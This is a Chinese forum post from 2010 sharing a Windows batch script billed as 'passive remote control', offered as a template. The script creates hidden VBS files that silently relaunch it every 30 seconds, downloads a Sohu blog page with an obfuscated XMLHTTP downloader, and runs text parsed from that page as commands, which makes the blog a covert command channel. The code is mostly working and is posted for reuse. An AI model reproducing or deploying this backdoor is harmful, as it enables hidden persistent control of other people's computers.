我传个来自VBT6的解决方案吧，只是个模板，具体控制指令未加
原理：通过分析特定博客内容，并将提取的内容作为指令运行来实现。本例博客地址为
http://shoujics.blog.sohu.com/145277617.html- @echo off&SETLOCAL ENABLEDELAYEDEXPANSION
- title 被动远程控制 v1.0 非常批处理⑥群 风哥制作
- if exist yc.vbs goto :down
- >yc.vbs echo xx=0
- >>yc.vbs echo set ws = CreateObject("Wscript.Shell")
- >>yc.vbs echo do while xx=0
- >>yc.vbs echo ws.run "%~0",vbhide
- >>yc.vbs echo Wscript.Sleep 30000
- >>yc.vbs echo loop
- attrib +h yc.vbs
- if not exist down.vbs start "" yc.vbs&exit
- :down
- if exist down.vbs goto :menu
- >down.vbs echo strA = "Microsoft"
- >>down.vbs echo strB = ".XMLHTTP"
- >>down.vbs echo strC = "ADODB"
- >>down.vbs echo strD = ".Stream"
- >>down.vbs echo iLocal = LCase(WScript.Arguments(1))
- >>down.vbs echo iRemote = LCase(WScript.Arguments(0))
- >>down.vbs echo Set xPost = CreateObject(strA^&strB)
- >>down.vbs echo xPost.Open "GET",iRemote,0
- >>down.vbs echo xPost.Send()
- >>down.vbs echo Set sGet = CreateObject(strC^&strD)
- >>down.vbs echo sGet.Mode = 3
- >>down.vbs echo sGet.Type = 1
- >>down.vbs echo sGet.Open()
- >>down.vbs echo strE = xPost.responseBody
- >>down.vbs echo sGet.Write strE
- >>down.vbs echo sGet.SaveToFile iLocal,2
- attrib +h down.vbs
- :menu
- set fyfile="http://shoujics.blog.sohu.com/145277617.html"
- down.vbs %fyfile% kz.txt
- for /f "tokens=5 delims=<>" %%a in ('more +252 kz.txt') do set kz=%%a&set kz=!kz:^ = !&call :qk&goto :dn
- :dn
- for /f "tokens=2 delims=<>" %%a in ('more +253 kz.txt') do set kz=%%a&set kz=!kz:^ = !&goto :qk
- ::出口qk
- :qk
- del kz.txt
- echo -----------------------------------------
- echo 测试现在的命令结果 !kz!
- echo -----------------------------------------
- for %%a in (!kz!) do call :%%a
- pause
-
- :zx
- msg %username% "请将本行改为对应的命令，如shutdown /l"
- goto :eof
- :ie
- msg %username% "请将本行改为对应的命令"
- goto :eof
| 
发表于 2010-3-1 07:49
| 